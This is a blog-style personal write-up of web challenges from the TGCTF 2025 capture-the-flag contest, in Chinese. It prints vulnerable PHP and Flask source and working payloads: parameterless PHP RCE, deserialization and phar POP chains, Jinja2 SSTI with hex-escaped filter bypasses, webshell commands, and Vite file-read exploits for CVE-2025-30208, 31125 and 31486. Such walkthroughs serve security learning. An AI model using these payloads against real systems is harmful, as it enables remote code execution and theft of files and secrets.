TGCTF 2025个人WP

AAA偷渡阴平

源码

<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__); 

简单的无参rce

payload:

?tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat /f*');

什么文件上传?

查看源代码提示robots,访问robots.txt发现class.php,是个反序列化

源码

 <?php
    highlight_file(__FILE__);
    error_reporting(0);
    function best64_decode($str)
    {
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
    class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
    class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();
            }
            else{
                return $this->doing->better;
            }
        }
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;
        public function __invoke(){
            $this->good="You'll be good tommoraw!<br>";
            echo $this->good;
        }
        public function __get($arg1){
            $this->bad="You'll be bad tommoraw!<br>";
        }

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }
    if (file_exists($_GET['filename'])){
        echo "Focus on the previous step!<br>";
    }
    else{
        $data=substr($_GET['filename'],0,-4);
        unserialize(best64_decode($data));
    }
    // You learn yesterday, you choose today, can you get to your future?
?>

构造链子

//future->today->yesterday
$a = new yesterday();
$a -> study = new today();
$a -> study -> doing = new future();//直接将today中的doing赋为new future()能够触发__toString()是因为php在计算MD5前会将对象转换为字符串,从而触发__toString()

$payload = serialize($a);
for ($i = 0; $i < 5; $i++) {
    $payload = base64_encode($payload);
}
$payload .= 'abcd';
echo "Payload: " . urlencode($payload) . "\n";

payload

?filename=Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZXUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBod1ZWWkdjRkZXYTJNMVkwWnNjbHBHWkdoU01EVXdWR3RTYjFkdFNuSmhNMHBVVmpOQmQxcFhjelZqVmxwVlYydHdhV0Y2VWpOWGExcHJWVEExVm1KSVJtdFNhMHBSV1ZkNFZrMXNUbGhPVms1cllraENTVlZ0Y0ZkVGJVWjBUMVJhVlUxcVZYZGFWM00xWTFaYVZWZHJjR2xXYTI5NVYxWmFhazFYU25KaVNFWnJVbXRLVVZsWGVISk5iRTVZVFZkR1RsWXhTa3BXYlRWeldWWlZkMkY2U2xWV00wSlBWRzB4Vm1Wc1VsVlhhelZYVWxWVmVWVXhZM2hqTWxKSVZHdG9VRmRJUW5GVVZ6RTBZMFpzY2xwR1dtaFdWR2cyVmtaU1lWUnRSbk5XVkVwVVZqTlNkbHBITVZOT1ZrWjBZMFp3VjJWc1NuVlhiRnBxVGxVeFZtSkZhR0ZTTTJoeVZWUkNTMlJzWkhOaFJYUnBVbXRKTWxwVlpITmhiVVp4Vlc1Q1ZXVnJOVTlVYlhONFRtMUplV0pIYkU1TlZtd3pWVEZrZDAxR1VYZFBTSEJWVmtad1QxbFhNRFZqUm14MFRVUlNhRlpVYUROVWExSnJZVzFXZEU5SWNGVk5iWGhNVkZaa1RtVldXblJOVjNSWFRUSlJNRlV4WkhkTlJsRjNUMGh3VlZaR2NGQmFWekExWTBad1IyRkZPV2xTYmtJeFZtMDFUMVJ0UmxaaGVrNVhVak5CZDFwWGN6VmpWbXcyVjJ0d2FXSkdiekpXTW5ocldWVXhXRk5yVmxWV01uaFJWRlZTVWsweGEzcGpTRnBPVFVSc2QxVXljRWRoYXpGelYyNVNZVkp0VVhwVVZWWnpZMWRTUms5V1FrNU5SRUY1VmtjMWQyUnRSbGhWYkd4VllsaG9hRmx0ZUdGbGJGSnpWR3R3VDAxV1NuaGFSV2gzVlVkR2RGUlVTbFJXZWxaWVdsZDRkMWRHWkhGU2JXeFRVbTE0ZDFaSWNFSk5SVFI1VkdwYWFXVnJOVkZaVmxaMlpVWnNObE5zWkdsV01VcFpXa2h3VDFOdFJuVlZiRUpWWldzMVQxUnRjekZPYlVsNVlrZDBXRkpVVm5wV01qQXhWakpOZDA5VlVsUldSMUpXV1ZjMVUwNXNVWGxqUjNCUFlUSjRNVlp0TlhkWlZsbDRZak5vV21FeFNubFpWbFUwWkRBMVJWcEhjR3hpVkdkM1ZrUktjMU13TVZoVVdHeFhZbFJHY2xacVRtdE9SbEpXVkd0d1QwMVdTbmhhUldoM1ZVZEdkRmw2U2xSV2VsWllXbGQ0ZDFkR1pIRlNiV3hUVWxaWk1GVXhaSGROUmxGM1QwaHdWVlpHY0ZGVmEyTTFZMFp3UjJGRk9XbFNia0l4Vm0wMVQxUnNXa1ppU0VKVlpXdEZkMVJxU2s5T2JVbzJWV3hDYUZaWE9UUlhXSEJMVmpKS1dGVnNhR3ROTW1oUFdsWldjazB4V2toalJFSnNZWHBzZUZkdWNHRlRiVXB6VjJwYVdHSkhVbWhVVm1STFVsWktWVkZyY0doaWJFcFJWa2h3VDFSck5YSlBWVlpwVFcxNGNsWXdWVEZqTVdSMFRsWmthazFFUmxaV2JHUnpWVVV4UlZWVVRscE5NMEl5Vkd0Vk5XTkdUbkZTYlhCT1lrWndNRmRyV210Tk1sWkdUbGhDVkZaSFVsWlpWelZUVG14UmVXTkhOVTloTW5neFZtMDFkMWxXV1hoaU0yaGFZVEZLUjFSVVFuTmpWMUpHVDFaQ1RrMUVRWGxXUkVKVFpHMUdXRlZzYkZWaVdHaG9XVzE0WVdWc1VsZFZiVFZvVmxSb00xUnJVbXRoYlZaMFQwUkNWVTF0ZUV4VVZtUk9aVlphZEUxWGRGZE5NbEV3VmtSR1QxTnJOSGhWYmtaclUwaENVVmxYTVdwTmJFNVlUbFprYkdKSVFsbFdNbkJIWVZaS1JtSkVUbFJXTTBGM1ZrUkJOR1ZyTVZsalJrSm9ZWHBCZVZVeFkzaFZNazVIWTBWU1ZGWkhVbkZhVnpBMVRteFJlRlZ1V21oV2JHdzFXVlZrYjJFeFJYZFRWRVphWVdzMVYxZHFSbmRUUjBwSVpFVndVMlZyV25aWFZsSkxWakpXY21KRmJHbFRSbkJ5VmxSQ1MwMXNjRWRoUms1c1lsWktTVlZ0TlZkWlZrbDVaVVJHV0dKdGMzZFVNRnB6WkZaT1ZHUkZjR2hpYkVreVZrUktkMVZyTlhKaVNGSldZbXh3Y0Zsc1dsZGpSbEkyVVZSQ1QwMXNjRnBXUmxKaFZHMVdkRTlZUW1GU1YyaE1WR3hXYzJOWFVrWlBWa0pPWld0Rk5RPT0%3Dabcd

POST:wow=cat /f*

什么文件上传?(复仇)

依然class.php

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
    return base64_encode(md5(base64_encode(md5($str))));
    }
class yesterday {
    public $learn;
    public $study="study";
    public $try;
    public function __construct()
    {
        $this->learn = "learn<br>";
    }
    public function __destruct()
    {
        echo "You studied hard yesterday.<br>";
        return $this->study->hard();
    }
}
class today {
    public $doing;
    public $did;
    public $done;
    public function __construct(){
        $this->did = "What you did makes you outstanding.<br>";
    }
    public function __call($arg1, $arg2)
    {
        $this->done = "And what you've done has given you a choice.<br>";
        echo $this->done;
        if(md5(md5($this->doing))==666){
            return $this->doing();
        }
        else{
            return $this->doing->better;
        }
    }
}
class tommoraw {
    public $good;
    public $bad;
    public $soso;
    public function __invoke(){
        $this->good="You'll be good tommoraw!<br>";
        echo $this->good;
    }
    public function __get($arg1){
        $this->bad="You'll be bad tommoraw!<br>";
    }

}
class future{
    private $impossible="How can you get here?<br>";
    private $out;
    private $no;
    public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

    public function __set($arg1, $arg2) {
        if ($this->out->useful7) {
            echo "Seven is my lucky number<br>";
            system('whoami');
        }
    }
    public function __toString(){
        echo "This is your future.<br>";
        system($_POST["wow"]);
        return "win";
    }
    public function __destruct(){
        $this->no = "no";
        return $this->no;
    }
}
if (file_exists($_GET['filename'])){
    echo "Focus on the previous step!<br>";
}
else{
    $data=substr($_GET['filename'],0,-4);
    unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

这里把直接反序列化给ban了,不过能进行文件上传,还有个file_exists,因此可以进行phar反序列化,robots.txt提示文件上传后缀是三位小写字母,直接爆破得到是atg,接下来写一个phar文件

<?php
class yesterday {}

class today {
    public $doing;
}

class future{}


$a = new yesterday();
$a-> study = new today();
$a->study->doing=new future();

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

运行得到phar.phar,改后缀上传然后用phar伪协议打即可

payload

?filename=phar://uploads/phar.atg

POST:wow=cat /f*

前端GAME

进调试器搜flag找到flag位置,网页标题是Vue3 Game With Vite,根据CVE-2025-30208得到poc
payload

/@fs/tgflagggg?import&?inline=1.wasm?init

前端GAME Plus

从CVE-2025-30208换成了CVE-2025-31125,找31125的poc读取即可
payload

/@fs/tgflagggg?import&?meteorkai.svg?.wasm?init

直面天命

看网页源代码发现/hint,提示四位小写字母组成的路由,提示给的aazz,访问源代码提示可以传参,爆破出变量名是filename

payload

/aazz?filename=/flag

直面天命(复仇)

访问/aazz得到源码

import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
                return render_template_string(template)
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
            template= template.replace("天命","{{").replace("难违","}}")
            template = template
    if "cat" in template:
        template2 = '
或许你这只叫天命人的猴子,真的能做到?

Image'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了,查询语句如下:
{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint:
有一个aazz路由,去那里看看吧,天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    with open(__file__, 'r') as f:
        source_code = f.read()
    return f"

{source_code}

", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

明显的sst,ban掉了常用的魔术方法,最后将"天命"换为"{{","难违"换为"}}",用编码绕过即可

payload

天命()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[132]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('cat /tgffff11111aaaagggggggg')["\x72\x65\x61\x64"]()难违

(ez)upload

扫到/upload.php.bak拿到源码绕过检测传马

访问/uploads/aaa.php执行命令即可

payload

/uploads/aaa.php

POST:a=system('env');

火眼辩魑魅

提示robots,访问得

User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.php

payload

/tgshell.php

POST:shell=echo `cat /tgfffffllllaagggggg`;

下面的都是当时没打出来的

AAA偷渡阴平(复仇)

源码

 <?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
    //hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

把很多无参rce用的函数都给ban了,数字2没有ban掉,session相关也没有ban。

session解

payload:

?tgctf2025=session_start();system(hex2bin(session_id()));

Cookie: PHPSESSID=636174202f662a//将要执行的命令hex编码,因为PHPSESSID中不能有括号

hint:这里session_start()不能和session_id()放到一起变成system(hex2bin(session_id(session_start())));,因为session_start()执行后返回的是True或者False,这样session_id()会尝试将session_start()的返回值(非字符串)作为新会话id设置,但此时会话已激活,修改会话id违反PHP规则导致报错Cannot change session id when session is active

当时做的时候没解出来就是因为把session_start()不能和session_id()放一块了,另一个解也没想到

apache_request_headers()解

apache_request_headers()和getallheaders()作用相同,没有被ban掉

payload:

?tgctf2025=system(hex2bin(lcfirst(key(apache_request_headers()))));

636174202f662a:aa

hint:这里apache_request_headers()是下往上读的

前端GAME Ultra

从给的附件发现vite版本是6.2.5,漏洞换成了CVE-2025-31486,当时做的时候找了好久也没找到poc,比赛结束了才开窍,这个版本的漏洞没法从浏览器读,去burp或者用curl就行
payload

/@fs/app/#/../../../../tgflagggg
posted @ 2025-04-16 14:37  Pr0x1ma  阅读(145)  评论(0)    收藏  举报